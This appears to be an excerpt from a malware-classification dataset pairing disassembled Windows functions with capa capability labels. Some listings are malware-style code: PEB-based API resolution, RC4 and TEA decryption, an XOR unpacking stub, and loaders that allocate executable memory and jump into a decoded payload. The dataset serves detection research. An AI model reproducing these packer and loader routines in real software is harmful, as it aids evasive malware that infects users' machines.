joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40121b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x40120b
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x4011f1
jmp 0x401210
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x40126b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x401230
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401230
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x40124c
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401770
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40128d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x401300
mov esi, dword [ebx]
cmp esi, ebx
je 0x401300
test esi, esi
je 0x401300
cmp word [esi + 0x24], 2
jbe 0x4012fa
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4012fa
cmp dword [esi + 0x18], 0
je 0x4012fa
test ebp, ebp
je 0x4012b5
cmp ebp, eax
jne 0x4012fa
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401770
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4012da
cmp eax, dword [esi + 0x18]
jne 0x4012fa
cmp dword [esp + 0x10], 0
je 0x40130d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00402740
add esp, 8
test eax, eax
je 0x40130d
mov esi, dword [esi]
cmp esi, ebx
jne 0x401293
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x401660
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x7f1bdc]
sub esp, 0x11c
test eax, eax
jne 0x40175e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004026e0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x4016b0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x4016c0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41e104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x4016f5
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00402e80
pop edi
pop esi
pop ebx
test eax, eax
je 0x401759
mov eax, dword [eax + 0x18]
test eax, eax
je 0x401759
mov dword [0x7f1bdc], eax
add esp, 0x11c
ret
mov eax, dword [0x7f1bdc]
add esp, 0x11c
ret
Function at 0x402e80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x402edb
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402ea0
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x402ebc
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401770
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x402efd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x402f6f
mov esi, dword [ebx]
cmp esi, ebx
je 0x402f6f
test esi, esi
je 0x402f6f
cmp word [esi + 0x24], 2
jbe 0x402f69
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x402f69
cmp dword [esi + 0x18], 0
je 0x402f69
test ebp, ebp
je 0x402f25
cmp ebp, eax
jne 0x402f69
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401770
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x402f4a
cmp edx, dword [esi + 0x18]
jne 0x402f69
cmp dword [esp + 0x14], eax
je 0x402f7c
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00402740
add esp, 8
test eax, eax
je 0x402f7c
mov esi, dword [esi]
cmp esi, ebx
jne 0x402f03
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x403420
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x7f1348
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403549
cmp dword fs:[0xc0], eax
je 0x40344b
mov dword [0x7f1344], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x7f122c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x7f1230], eax
movzx edx, word [esi + 0xac]
mov dword [0x7f1234], edx
mov eax, dword [esi + 0xb0]
mov dword [0x7f1238], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x4034ab
push 0x7f
push eax
push 0x7f123c
call fcn.00401770
mov edx, dword [0x7f1234]
add esp, 0xc
jmp 0x4034b3
xor eax, eax
mov word [0x7f123c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x7f133c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x7f133e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x7f1340], ax
mov ecx, eax
mov byte [0x7f1342], 0
cmp byte [0x7ffe0268], 0
je 0x4034fa
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x7f1342], bl
cmp ebx, 1
pop ebx
jne 0x403514
and ecx, 0xffef
mov word [0x7f1340], cx
test edx, edx
jne 0x403549
call fcn.00403420
cmp dword [0x7f122c], 6
ja 0x403549
jb 0x403531
cmp dword [0x7f1230], 4
jae 0x403549
call fcn.00403420
cmp dword [0x7f122c], 0xa
jae 0x403549
mov dword [0x7f1234], 1
ret
Function at 0x403550
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x7f1208]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x4036fd
cmp dword [0x7f120c], 0
jne 0x4036e9
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004026e0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x4035a0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x4035b0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41e0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x4035e5
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004026e0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x403644
sub edx, esi
sar edx, 1
je 0x4036fd
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x403660
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x4036fd
xor eax, eax
push ebx
test edx, edx
je 0x403698
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x403698
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x403681
xor eax, eax
test edx, edx
je 0x4036b2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x4036b2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4036a0
xor eax, eax
test edx, edx
je 0x4036cf
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4036cf
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4036c0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x7f1208]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x41d2a2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401200
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40120f
pop dword [ebp - 0x2c]
mov eax, 0x10e730ce
add eax, 0xef58e141
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x8d391d91
add dword [ebp - 0x3c], 0xc11927ba
mov dword [ebp - 0x38], 0xeb55a120
add dword [ebp - 0x38], 0x46ddab25
mov dword [ebp - 0x34], 0xce169cb4
add dword [ebp - 0x34], 0x7e35a77a
mov dword [ebp - 0x30], 0x34cb91e6
add dword [ebp - 0x30], 0xcb346e1a
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xa97d8bc2
add dword [ebp - 0x3c], 0xcaf4dd94
mov dword [ebp - 0x38], 0x1d5f26ab
sub dword [ebp - 0x38], 0xdbf2c536
mov dword [ebp - 0x34], 0xf1e7992f
sub dword [ebp - 0x34], 0x8e782cc3
mov dword [ebp - 0x30], 0x922a8810
sub dword [ebp - 0x30], 0x922a8810
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a662
push 0
call eax
mov ecx, 0x39529bb2
sub ecx, 0x39524e06
mov edi, eax
mov edx, 0x421000
add edx, dword [ebp - 0x2c]
mov esi, 0xe34b46b5
add esi, 0xde864850
xor dword [ebp - 0x10], esi
mov ebx, dword [edx]
add dword [ebp - 0x14], ebx
add ebx, esi
add dword [ebp - 0x24], 0x1184da46
mov dword [edi], ebx
sub dword [ebp - 0x14], edx
add edi, 4
add edx, 0xb966b0ae
sub edx, 0xb966b0aa
loop 0x401321
add eax, 0x170386d7
sub eax, 0x17025d54
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x40216b
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
call main
jmp 0x402175
push 0x14
push 0x411788
call fcn.00405300
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4021a3
xor ebx, ebx
jmp 0x4021d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40219f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40219f
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4021d6
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004048ef
test eax, eax
jne 0x4021ea
push 0x1c
call main
pop ecx
call fcn.00403b58
test eax, eax
jne 0x4021fb
push 0x10
call main
pop ecx
call fcn.004051cc
and dword [ebp - 4], 0
call fcn.00404904
test eax, eax
jns 0x402215
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4162e8], eax
call main
mov dword [0x414430], eax
call main
test eax, eax
jns 0x40223b
push 8
call main
pop ecx
call fcn.00404de7
test eax, eax
jns 0x40224c
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x40225f
push eax
call main
pop ecx
call fcn.00405299
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x402281
push esi
call main
call fcn.00404663
jmp 0x4022b6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00405345
ret
Function at 0x40699c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryW
mov edx, ebx
mov eax, esp
call fcn.00406988
add esp, 0x208
pop ebx
ret

Function at 0x408eb4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x408eed
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00404dd4
jmp 0x408ef6
mov eax, ebx
mov edx, esi
call fcn.00404c98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408f00
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x408f22
movzx eax, word [esp]
jmp 0x408f24
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40aa03
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404914
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x40aa26
mov eax, edi
add eax, eax
call fcn.00402e04
mov esi, eax
jmp 0x40aa28
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40aa61
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40aa4b
mov eax, esp
cmp esi, eax
je 0x40aa6e
mov eax, esi
call fcn.00402e20
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40aaa8
cmp bl, 0
je 0x40aaa4
cmp bl, 0x41
jl 0x40aa9f
cmp bl, 0x5a
jg 0x40aa9f
or bl, 0x20
xor al, bl
inc esi
jmp 0x40aa83
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40a9e8

Function at 0x40b698
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b6de
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040b62c
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
call sub.kernel32.dll_GetFileAttributesW
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b6e5
lea eax, [ebp - 4]
call fcn.00404c88
ret
Function at 0x40eb68
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ec3d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40ec58
push ebx
push 0x40ec68
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040513c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403250
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x40ebe8
mov al, 0x6a
call fcn.0040e788
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040eb3c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40ebf1
call fcn.0040eb3c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ec44
lea eax, [ebp - 4]
call fcn.00404c88
ret

Function at 0x40ed58
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
jmp 0x40ee17
cmp dword [esi + 0x10], 0x1000
jne 0x40ee03
test byte [esi + 0x15], 1
jne 0x40ee03
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb4
cmp ebp, 2
je 0x40edb4
cmp ebp, 0x10
je 0x40edb4
cmp ebp, 0x20
jne 0x40edd0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edd0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ede1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed50
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd4
cmp byte [esp + 4], 0
je 0x40ee03
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed89
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x405d55
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [ebp - 0x75], dl
in al, dx
push ecx
push ecx
mov ecx, dword [ebp + 8]
and dword [ebp - 4], 0
push ebx
push esi
cmp word [ecx], 0x2d
push 0xa
pop eax
mov dword [ebp - 8], 1
push 0x39
pop ebx
jne 0x405d52
inc ecx
inc ecx
or dword [ebp - 8], 0xffffffff
cmp word [ecx], 0x30
jne 0x405d7f
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x55cc27e6
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x39797dae
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401007
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x430718]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x43071c]
push edi
mov edi, dword [ebx]
xor ecx, ecx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x430720]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [0x430724]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
jmp 0x40105d
xor ecx, ecx
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x43f974], 0xc
mov dword [ebp - 4], eax
jne 0x401087
push ecx
lea eax, [ebp - 0x38]
push eax
push ecx
push ecx
push ecx
call dword [0x42b058]
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x43f974]
cmp eax, 0xfa9
jne 0x4010a3
mov dword [0x43f970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c8
push 0x42cfe8
call dword [0x42b090]
push 0
lea eax, [ebp - 0x3c]
push eax
call dword [0x42b07c]
and dword [0x43f8c8], 0
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x43f96c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
cmp dword [0x43f974], 0xb03
jne 0x401147
push 0
call dword [0x42b028]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40105b
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x40117b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c10
call 0x410fc0
push ebx
push esi
xor esi, esi
cmp dword [0x43f974], 0x93
push edi
jne 0x4011ea
push esi
push esi
call dword [0x42b03c]
push esi
push esi
push esi
push esi
call dword [0x42b048]
push esi
call dword [0x42b008]
push esi
call fcn.004017c4
push esi
push esi
push esi
push esi
call fcn.00401e5a
push esi
push esi
call fcn.00401e77
push esi
call fcn.00401b80
push esi
push esi
call fcn.00401baf
add esp, 0x28
call fcn.0040116d
push esi
call 0x402349
pop ecx
push esi
call 0x4025f9
add dword [0x43f974], 0x1134b
push dword [0x43f974]
mov eax, dword [0x433040]
push esi
mov dword [0x4403d8], eax
call dword [0x42b038]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x43f974]
mov dword [0x43f8cc], eax
push eax
call dword [0x42b08c]
mov ebx, dword [0x42b19c]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0xc10]
push eax
call ebx
dec edi
jne 0x40122e
cmp dword [0x43f974], esi
jbe 0x40128e
mov eax, dword [0x4403d8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x43f8cc]
mov byte [ecx + edi], al
cmp dword [0x43f974], 0x490
jne 0x401285
push 0x42d044
call dword [0x42b074]
push esi
push esi
push esi
call dword [0x42b06c]
call dword [0x42b014]
push esi
call dword [0x42b078]
inc edi
cmp edi, dword [0x43f974]
jb 0x401243
xor edi, edi
mov eax, dword [0x43f974]
add eax, edi
cmp eax, 0x8d
jne 0x401301
push 0x42d048
call dword [0x42b070]
push esi
lea eax, [ebp - 0xc10]
push eax
call ebx
push esi
push esi
push esi
call dword [0x42b018]
push esi
lea eax, [ebp - 0x1410]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x1c10]
push eax
push esi
call dword [0x42b09c]
push 0x42d068
call dword [0x42b044]
push esi
push esi
push esi
call dword [0x42b01c]
lea eax, [ebp - 0x410]
push eax
push esi
call dword [0x42b05c]
inc edi
cmp edi, 0x38681
jl 0x401290
mov eax, dword [0x43f974]
mov ecx, dword [0x43f8cc]
shr eax, 3
cmp eax, esi
jbe 0x40134e
mov ebx, ecx
mov edi, eax
cmp dword [0x43f974], 0x959
jne 0x401343
push esi
lea eax, [ebp - 0x410]
push eax
call dword [0x42b02c]
push esi
push esi
push esi
call dword [0x42b098]
call fcn.00401007
add ebx, 8
dec edi
jne 0x401320
xor edi, edi
push esi
call dword [0x42b060]
cmp edi, 0x62
jne 0x40136f
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x43f8cc], eax
inc edi
cmp edi, 0x674db
jl 0x401350
push 0x7b
pop edi
cmp dword [0x43f974], 0x86
jne 0x4013da
push esi
lea eax, [ebp - 0x410]
push eax
push esi
call dword [0x42b010]
push esi
call fcn.0040179c
call dword [0x42b088]
push esi
call dword [0x42b080]
lea eax, [ebp - 0x1010]
push eax
push esi
push esi
call dword [0x42b020]
push esi
push 0x42d138
push 0x42d1ac
call dword [0x42b034]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
call dword [section..rdata]
dec edi
jne 0x40137b
push 0x42d1bc
call dword [0x42b078]
call dword [0x43f8cc]
pop edi
pop esi
pop ebx
leave
ret